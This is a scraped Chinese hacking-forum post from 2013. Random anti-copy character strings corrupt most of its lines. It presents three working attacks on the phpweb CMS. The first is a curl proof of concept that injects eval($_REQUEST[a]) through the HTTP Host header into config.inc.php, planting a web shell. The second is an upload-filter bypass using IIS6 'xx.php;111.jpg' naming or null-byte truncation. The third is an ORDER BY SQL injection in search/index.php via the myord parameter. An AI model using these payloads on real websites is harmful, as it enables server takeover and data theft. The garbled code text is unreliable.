找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2397|回复: 0
打印 上一主题 下一主题

phpweb成品网站最新版(注入、上传、写shell)

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-4 19:45:35 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
注入:* u$ A2 U" o" \; P. L6 t$ _
: M  ^$ o: ]5 l
之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码
  W3 C" V6 g. V9 ~0 O$ f0 C5 A) I
, x/ h1 Y' d! A% z- q" r6 W- m鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件. z7 d/ M" [4 l- L$ x
鸡肋2: 有一定安全常识的站长都会删掉 install 目录+ G+ @$ c% {( U

* T4 t/ T& u+ }虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响" q  G9 ?: \; \: e" D' m1 [; l
; l  N. a5 Q4 e. |' g$ K' ]
分析:% M; H$ O; m1 w1 l  k

8 H  P) f. z& E
8 o$ g4 c5 G" M0 a$siteurl="http://".$_SERVER["HTTP_HOST"]."/";    //未过滤
% W+ \0 k$ L/ [* v0 ~2 F & ^- r0 M7 {& n9 W  L" ?/ |- y0 }
                                            $filestr = fread(fopen($SysConfigFile, 'r'),30000);, @$ C$ @" W; C4 L/ y3 w
                                            $filestr=str_replace(" ","",$filestr);: d. T* }$ I4 K5 p. I* ]
                                            $filestr=str_replace("DefaultDbHost",$dbhost,$filestr);
% O3 q$ N' H! W; Y4 g/ l& r                                            $filestr=str_replace("DefaultDbName",$dbname,$filestr);
, D; w& F; U$ k  a- f! }( S% @                                            $filestr=str_replace("DefaultDbUser",$dbuser,$filestr);
. N/ X2 R9 ]! ?2 A5 a1 W7 ?                                            $filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);$ B+ K; b  B+ v9 e2 o! }6 x
                                            $filestr=str_replace("DefaultsLan","zh_cn",$filestr);$ \6 Y/ \$ Y  G7 M4 |
                                            $filestr=str_replace("DefaultTablePre",$tablepre,$filestr);
0 y& x6 s8 ]% G$ w, r( O3 M                                            $filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);& _- Z1 m5 b. n4 Y( k

  z  k- x' P/ V& X                                            fwrite(fopen($ConFile,"w"),$filestr,30000);. w# |( i7 Q  I# K/ Y
$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^: G1 d* g6 E" X. M$ u- D8 Y  N9 s

0 o0 v. O2 \* S+ e) I% jpoc:
# m% n6 Q( U/ J7 M) r. L
; U. p9 G. u2 E- u?
$ U& E+ x+ _/ f" t6 x! a/ {, {- ~, _1
  Q2 r! T# s- P! O# ~+ ecurl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"# p7 E& T5 ]6 Y: t& y: L
shell地址: /config.inc.php
% M* x. |9 w8 w3 k& p4 b. }跟之前的 phpcms一样 需要远程数据库# T, a! O& N8 P$ A9 x
* K2 }0 d+ {' O, ^: I# Q; H
——————————————————–/ F) U) k, o* }/ E! ?
上传漏洞(需要进后台):" F+ c1 \9 u3 J
漏洞文件: /kedit/upload_cgi/upload.php" v6 B% A# i# [3 J1 {3 z
这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用
# ?; u# R1 f6 I1 p/ ?# E( u7 n8 m
0 L  t9 a9 y2 S1 V2 l   z5 ]- }. ]& d5 @( i9 [* N5 C
<?php
3 K) t8 t+ g8 ?9 P    define("ROOTPATH", "../../");
+ t" t, v+ w7 l- h2 D  z6 f0 P3 J* `    include(ROOTPATH."includes/admin.inc.php");
- c: [8 ^8 h7 e: ^" t: M, n" z    NeedAuth(0);5 h* Q) H+ ^( C  S0 p

; Q5 J5 e2 W: w0 z- z& f7 K    $dt=date("Ymd",time());
1 |5 u; C* `' W6 J# c    if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){1 Y; @! ^( _8 M. y
            @mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);) j. G) L! Z* B. G0 F) _
    }
0 _( V" R& G+ f7 v ; [9 F' }2 G" l0 `9 v9 w& Q* `; W
    //文件保存目录路径
0 j% {/ q% U7 [2 W# N    $save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';5 {& h" D7 J5 w" A
    echo $save_path;
+ n- ~/ [4 P  {% m9 d    //文件保存目录URL, }5 b4 A9 Q0 l. F6 o" B  Q
    $save_url = '../../'.$_POST['attachPath'].$dt.'/';0 m; y2 x: N& C6 l+ [' t9 c

6 M" C2 ^* @. @% Y  K, F, r    //定义允许上传的文件扩展名
2 _$ k1 X, [  L0 Y    $ext_arr = array('gif','jpg','png','bmp'); //限制后缀
- F0 p/ |8 ^2 |/ E! ]( H
, Q4 e5 O4 ?  V+ j    //最大文件大小* |1 L/ X3 y: S7 c9 W
    $max_size = 1000000;# M$ r! P' G- M/ N1 U4 X. U: O6 o
6 Q% l( k/ g. [
    //更改目录权限7 k- t: g0 e: k" z% }/ t+ K; D. [
    @mkdir($save_path, 0777);  Y# u# f5 b4 a+ P6 M6 o+ ^* u

5 k* }! }# x) R3 M# c9 p    //文件的全部路径1 a6 k! q( O0 Q8 r) M! ~' f
    $file_path = $save_path.$_POST['fileName'];   //保存文件名
8 ^' x) G: i" j& y7 B   K' ~: S7 S) [/ Z6 E( n
    //文件URL
# G! m* ?* i' O8 T7 r" I# B" A    $file_url = $save_url.$_POST['fileName'];0 Z" o/ m9 C- k
//有上传文件时
& h* @) m1 M# f0 V* Z    if (empty($_FILES) === false) {0 Q9 ^% m. ]+ W; O6 k2 \* z
6 p; X# }% ]9 p0 W* o# Y* K: `" o* O
            //原文件名0 {* V0 }( ~/ m
            $file_name = $_FILES['fileData']['name'];
( q$ A9 t  f) Q. [            //服务器上临时文件名+ u' |+ i# j6 y& Q7 m
            $tmp_name = $_FILES['fileData']['tmp_name'];" \) u* Z( T2 I5 K2 P$ l! U7 q! {
            //文件大小
6 N* s/ M% p: T0 h$ q            $file_size = $_FILES['fileData']['size'];) f1 g6 h# K1 {
            //检查目录
2 H; s1 R; }* o! F9 p            if (@is_dir($save_path) === false) {
$ a* i( x# @* I                    alert("上传目录不存在。");* z% b8 U& h& {  D0 R
            }
4 p3 M& c" L$ V, n# c4 C( z            //检查目录写权限% `. s/ ^+ A* Y" t
            if (@is_writable($save_path) === false) {( d! S, e7 H2 |7 z3 O1 A6 G
                    alert("上传目录没有写权限。");
/ j( |/ }+ B* @# o! W            }
  D+ _, Q( O; v$ b5 f* C8 ~7 T1 O            //检查是否已上传  C; ~1 |* a+ M2 E
            if (@is_uploaded_file($tmp_name) === false) {
) g6 Q/ Z. k0 t/ b                    alert("临时文件可能不是上传文件。");" h$ m& m/ b9 |; [6 b/ R
            }
' e9 E8 ]: u% q$ i' N* _( \            //检查文件大小
4 U4 q; p! ?) j5 j( L. f; Z. j7 P            if ($file_size > $max_size) {- R! h7 B8 K2 V: {
                    alert("上传文件大小超过限制。");4 m9 M% M# `- V' I
            }, X, Q7 E3 k+ d5 p5 I
            //获得文件扩展名
6 L6 f7 L; x. B8 z9 y            $temp_arr = explode(".", $_POST['fileName']);
0 b8 y6 ]7 z: r: ^6 K: j. r            $file_ext = array_pop($temp_arr);
$ e! E2 X$ V/ ^: U- S" r            $file_ext = trim($file_ext);% {& k' U& Q) C  {! S. q: M5 L' T
            $file_ext = strtolower($file_ext);% }1 k; N1 N$ u/ ~* |
& N, Q3 M. A% i4 x+ I
            //检查扩展名   ; j5 R! B: Q* w+ V2 P9 R
            if (in_array($file_ext, $ext_arr) === false) {     8 ^9 L5 d+ k- [( o8 F( v* ]: r
                    alert("上传文件扩展名是不允许的扩展名。");7 [8 D9 Q5 N7 p9 A) d
            }) P% l* s6 K8 F1 x; x" l/ b
4 Z! b" V: l9 ?3 d* c
            //移动文件   ! @3 T7 h2 U9 q6 ~
            //未重命名 虽然过滤了 后缀   iis 6解析漏洞 ^ _ ^
' o5 e6 Y$ T- W- \4 S& q' [            if (move_uploaded_file($tmp_name, $file_path) === false) {7 R7 }/ g! I8 b% T
                    alert("上传文件失败。");  I" ^' q% [4 D# S
            }
  J, p+ O/ \) \
5 O9 r' A/ c- b            @chmod($file_path,0666);% P$ T/ G5 U8 N8 L: _# j' Q" T  s

! T6 e: a2 x; H) R    ?>5 d5 V3 z9 s- x. q
抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=227
" [0 x- }- F: @8 q4 n- j * o( M' G2 A# {) U2 E
apache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过3 U. O% p& O9 e, {1 [
' F: O0 w8 w- ]2 }! k0 z6 M
——————————————————
. a2 ]1 d( `  s9 }+ N# J注入漏洞:
; h2 y$ k6 K. l0 U, p8 e漏洞文件:search/module/search.php
: n5 s8 r9 \3 O& |" x/search/index.php?key=1&myord=1 [sqlinjection]  X- m% ~! E, V1 h
) \9 l8 [9 N* L5 H8 K) }

7 L" k+ i; e8 w: Q$ S9 x& i" a<?php7 ~: w' g1 n  \" i# f$ B
   //       ... 省略 n 行...
7 [2 U7 y- l. C/ P1 x$ u6 B4 A; g   //第18行:
7 `. {0 N  t+ c           $key=htmlspecialchars($_GET["key"]);   //只是简单的将字符HTML 实体 编码   , mysql 注入不受此影响
8 H4 N! h- w, v; {( z  g5 b           $page=htmlspecialchars($_GET["page"]);1 q: b, D. f, O: ~
           $myord=htmlspecialchars($_GET["myord"]);0 N( j7 X. L- p+ l2 g9 q: H

2 W. u1 L. x2 Y- l7 T' Y   //       ... 省略 n 行..." D' o7 S& D( ?5 h+ z' K" Z
   $key,$myord 两个参数带入查询
4 `, G* j( x# K5 D' X' f, E' m, k   //第47行 $key:# I: t& D* j% F  x* B8 ^) c

- C9 i& y$ x4 z) v( g. Y- [   $fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')");  //虽然带入查询 但使用的 是regexp 不知如何绕过..
7 @+ B1 z4 q) @
: W5 Y5 m/ B, H8 j1 W" K   //第197行 $myord
$ a( A  x, |/ _4 ^5 t   $fsql->query($scl . " order by $myord desc limit $pagelimit ");    产生注入
$ O6 a5 \: ]2 ?2 |   Q& `7 [; }" P1 _5 E7 i
   ?>$ v% k$ m) S" _3 a
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表